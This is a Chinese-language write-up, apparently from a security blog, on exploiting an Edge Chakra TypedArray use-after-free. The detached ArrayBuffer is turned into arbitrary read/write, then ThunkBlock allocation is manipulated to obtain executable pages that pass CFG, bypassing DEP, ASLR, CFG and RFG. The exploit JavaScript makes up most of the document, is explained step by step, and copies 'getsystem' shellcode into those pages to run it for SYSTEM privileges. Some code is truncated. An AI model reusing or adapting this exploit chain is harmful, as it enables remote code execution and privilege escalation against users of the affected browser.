这些DVE的漏洞利用方法真的是太经典了,以前很多人错误的理解成修改safemod的标志的利用办法是DVE,这个修补了就DVE就不行了。其实DVE是脚本成了shellcode,脚本可以控制一切,对于那些防护措施是“上帝之手”。这个利用代码很好的诠释了这一点,认为DVE只能修改一点点数据的,可以看看这个脚本代码,实际上是可以控制、操控edge的整个行为,这就是上帝的视角和能力。
bypassdep+aslr+cfg+rfg.docx
前面文章附的文档的中文版本
刚发现了这个中文版本和没有隐藏一些漏洞利用代码的说明文章,里面也有一些漏洞利用稳定性的技巧,我们的漏洞利用一直比较追求完美,利用成功率和稳定性就是一个重要考虑因素。不知道大家能看得出来不。
1: about the vulnerability
// Typedarray uaf
// typearray does not check whether the arraybuffer has been detached in the loopbody.
var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);
write(0,0x4000,1,0x1234); // Generate JIT vulnerability code
var worker = new Worker('arr.js');
worker.postMessage(buffer,[buffer]);
worker.terminate(); // detached ArrayBuffer and free up space
sleep(400); // Waiting for release to complete
for(var i=0;i<0x1000;i+=1)
{
arr[i]=new Array(0x800);
arr[i][1]=25959;
arr[i][0]=0; // Placeholder int array seg
write(0x0e,0x00010,0x1000,1851880825) // Uaf write arr [i] [0] position if(arr[i][0]==1851880825) // Check for success
{
ok=1;
arr[i+1]=new Array(0x400);
arr[i+1][1]=buffer;
arr[i+1][0]=0; // Int array seg followed by a var array seg
getarrint(i); // Modify the int array seg through the vulnerability
fakeview(); // Fake Uint32Array implementation any read write bypassdepcfgrfg1();
break;
}
}
function write(begin,end,step,num)
{
for(var i=begin;i
}
// Vulnerability code, jit generated code in loopbody typearray access did not // check if arraybuffer was already detached
2: bypass dep+aslr+cfg+rfg
通常情况下,可以利用漏洞得到任意对象地址和任意地址读写。
通过控制chakra的Thunk分配代码流程,可以得到rwx+cfgjmp页面,然后可以拷贝shellcode到这页面,跳转去执行。
Under normal circumstances, you can use the vulnerability to get any object address and any address read and write.
By controlling chakra's Thunk allocation code flow, you can get rwx + cfgjmp page, and then you can copy shellcode to this page, jump to execute.
分配thunk,如果thunkCount=0,会重新分配ThunkBlock。
分配ThunkBlock流程:
(1)、 分配页面;
(2)、 页面属性修改为rwx
(3)、 填充ThunkCode
(4)、 注册异常处理
(5)、 页面属性修改为只可执行
(6)、 设置cfgjmp
(4)注册异常处理,如果出现错误,会抛出js异常,然后跳过了步骤5和6。
而如果(1)分配到的页面是已经分配过的ThunkBlock页面,最后注册异常处理会因为已经注册同样地址失败,这样这个ThunkBlock只执行(1)-(4)。
因为(2),ThunkBlock页面属性被修改成了rwx,但因为其本身已经设置cfgjmp,那么我们就得到了rwx和cfgjmp页面,实现bypass dep+aslr+cfg+rfg了。
源代码如下:
BYTE* InterpreterThunkEmitter::GetNextThunk(PVOID* ppDynamicInterpreterThunk)
{
if(thunkCount == 0)
{
NewThunkBlock();
}
return thunk;
}
void InterpreterThunkEmitter::NewThunkBlock()
{
allocation = emitBufferManager.AllocateBuffer(bufferSize, &buffer);
if (!emitBufferManager.ProtectBufferWithExecuteReadWriteForInterpreter(allocation))
{
Js::Throw::OutOfMemory();
}
FillBuffer(
this->scriptContext->GetThreadContext(),
this->isAsmInterpreterThunk,
(intptr_t)buffer,
BlockSize,
buffer,
&pdataStart,
&epilogEnd,
&count
);
PDataManager::RegisterPdata((PRUNTIME_FUNCTION) pdataStart, (ULONG_PTR) buffer, (ULONG_PTR) epilogEnd, &pdataTable);
if (!emitBufferManager.CommitReadWriteBufferForInterpreter(allocation, buffer,bufferSize))
{
Js::Throw::OutOfMemory();
}
// Call to set VALID flag for CFG check
ThreadContext::GetContextForCurrentThread()->SetValidCallTargetForCFG(buffer);
void PDataManager::RegisterPdata(RUNTIME_FUNCTION* pdataStart, _In_ const ULONG_PTR functionStart, _In_ const ULONG_PTR functionEnd, _Out_ PVOID* pdataTable, ULONG entryCount, ULONG maxEntryCount)
{
BOOLEAN success = FALSE;
if (AutoSystemInfo::Data.IsWin8OrLater())
{
Assert(pdataTable != NULL);
// Since we do not expect many thunk functions to be created, we are using 1 table/function
// for now. This can be optimized further if needed.
DWORD status = NtdllLibrary::Instance->AddGrowableFunctionTable(pdataTable,
pdataStart,
entryCount,
maxEntryCount,
/*RangeBase*/ functionStart,
/*RangeEnd*/ functionEnd);
success = NT_SUCCESS(status);
if (success)
{
Assert(pdataTable);
}
}
else
{
*pdataTable = pdataStart;
success = RtlAddFunctionTable(pdataStart, entryCount, functionStart);
}
Js::Throw::CheckAndThrowOutOfMemory(success);
}
如果 ThunkBlock 已经注册异常处理, AddGrowableFunctionTable 返回错误,Js::Throw::CheckAndThrowOutOfMemory(success)抛出 js异常。
页面分配,如果已经有ExistingPage,就取ExistingPage。
Allocation* Heap::Alloc(size_t bytes, ushort pdataCount, ushort xdataSize, bool canAllocInPreReservedHeapPageSegment, bool isAnyJittedCode, _Inout_ bool* isAllJITCodeInPreReservedRegion)
{
size_t bytesToAllocate = PowerOf2Policy::GetSize(bytes);
BucketId bucket = (BucketId) GetBucketForSize(bytesToAllocate);
do
{
Page* page = GetExistingPage(bucket, canAllocInPreReservedHeapPageSegment)
Allocation* allocation = nullptr;
if (AllocInPage(page, bytesToAllocate, pdataCount, xdataSize, &allocation))
{
return allocation;
}
} while (true);
}
Page * Heap::GetExistingPage(BucketId bucket, bool canAllocInPreReservedHeapPageSegment)
{
if (!this->buckets[bucket].Empty())
{
Assert(!this->buckets[bucket].Head().inFullList);
return &this->buckets[bucket].Head();
}
return FindPageToSplit(bucket, canAllocInPreReservedHeapPageSegment);
}
Bypass js代码如下:
function bypassdepcfgrfg1()
{
getshellcode();
fun=getobjadd(bypassdepcfgrfg1);
FunBody=readuint64(fun+0x28);
ScriptContext=readuint64(FunBody+0x28);
interpreterThunkEmitter=readuint64(ScriptContext+0x618);
readuint32(fun);
writeuint32(interpreterThunkEmitter+0x178,0);
shell();
writeuint32(interpreterThunkEmitter+0x178,0);
shell2();
allocationHeap=interpreterThunkEmitter+0x18;
buckets=allocationHeap+0x60;
fullPages=allocationHeap+0x60+0x70;
fullPage=readuint64(fullPages);
writeuint64(buckets, readuint64(fullPages));
writeuint64(buckets+8, readuint64(fullPages+8));
writeuint32(fullPage+0x20,0xffffffff);
writeuint32(interpreterThunkEmitter+0x178,0);
try{ test1();} catch(e){ }
writeuint32(fullPage+0x20,0xffffffff);
th=readuint64(fullPage+0x28);
writeuint64(fullPage+0x28, th-0x1000);
try{ test1();} catch(e){ }
shellcodeadd=getobjadd(getsystem);
shelladd=readuint64(shellcodeadd+0x20);
for(i=0;i<(getsystem.length*2);i+=4)
{
writeuint32(th-0x1000+i, readuint32(shelladd+i));
}
shell();
document.write("
get system shell ok!
");
}
fun=getobjadd(bypassdepcfgrfg1);
FunBody=readuint64(fun+0x28);
ScriptContext=readuint64(FunBody+0x28);
interpreterThunkEmitter=readuint64(ScriptContext+0x618);
通过function对象获取到interpreterThunkEmitter对象地址。
writeuint32(interpreterThunkEmitter+0x178,0);
shell();
writeuint32(interpreterThunkEmitter+0x178,0);
shell2();
设置thunkCount=0,重新分配ThunkBlock,重复2次获得2页ThunkBlock。
allocationHeap=interpreterThunkEmitter+0x18;
buckets=allocationHeap+0x60;
得到Bucket4096大小已经存在页面的存放地址
fullPages=allocationHeap+0x60+0x70;
fullPage=readuint64(fullPages);
得到shell2已经分配ThunkBlock的页面存放地址。
writeuint64(buckets, readuint64(fullPages));
writeuint64(buckets+8, readuint64(fullPages+8));
复制到Bucket4096的存放地址,让再分配ThunkBlock时调用GetExistingPage直接获得已经分配的页面。
writeuint32(fullPage+0x20,0xffffffff);
设置freebits位,全空闲,可以分配一页。
writeuint32(interpreterThunkEmitter+0x178,0);
再次设置thunkCount=0.
try{ test1();} catch(e){ }
分配ThunkBlock,因为分配到的ThunkBlock page是shell2的ThunkBlock page,(4)注册异常处理失败,抛处js异常,js code截获js异常。Shell2的ThunkBlock已经被修改成rwx属性。
writeuint32(fullPage+0x20,0xffffffff);
设置freebits位,全空闲,可以分配一页。
th=readuint64(fullPage+0x28);
获取页面地址,就是shell2的ThunkBlock,
writeuint64(fullPage+0x28, th-0x1000);
设置页面地址,指向shell的ThunkBlock。
try{ test1();} catch(e){ }
再次分配ThunkBlock,因为注册异常处理失败,Shell的ThunkBlock已经被设置成rwx属性。
因为shell本身的ThunkBlock 已经设置cfgjmp, 这样就有两页rwx属性的ThunkBlock,并且可cfgjmp。
shellcodeadd=getobjadd(getsystem);
shelladd=readuint64(shellcodeadd+0x20);
得到取得system权限的shellcode在内存中的地址
for(i=0;i<(getsystem.length*2);i+=4)
{
writeuint32(th-0x1000, readuint32(shelladd+i));
}
写shellcode到shel 和shell2的两页ThunkBlock
shell();
调用shell,跳转到shell的ThunkBlock执行,也就是跳转到shellcode 执行。
document.write("
get system shell ok!
");
显示调用内核提权成功
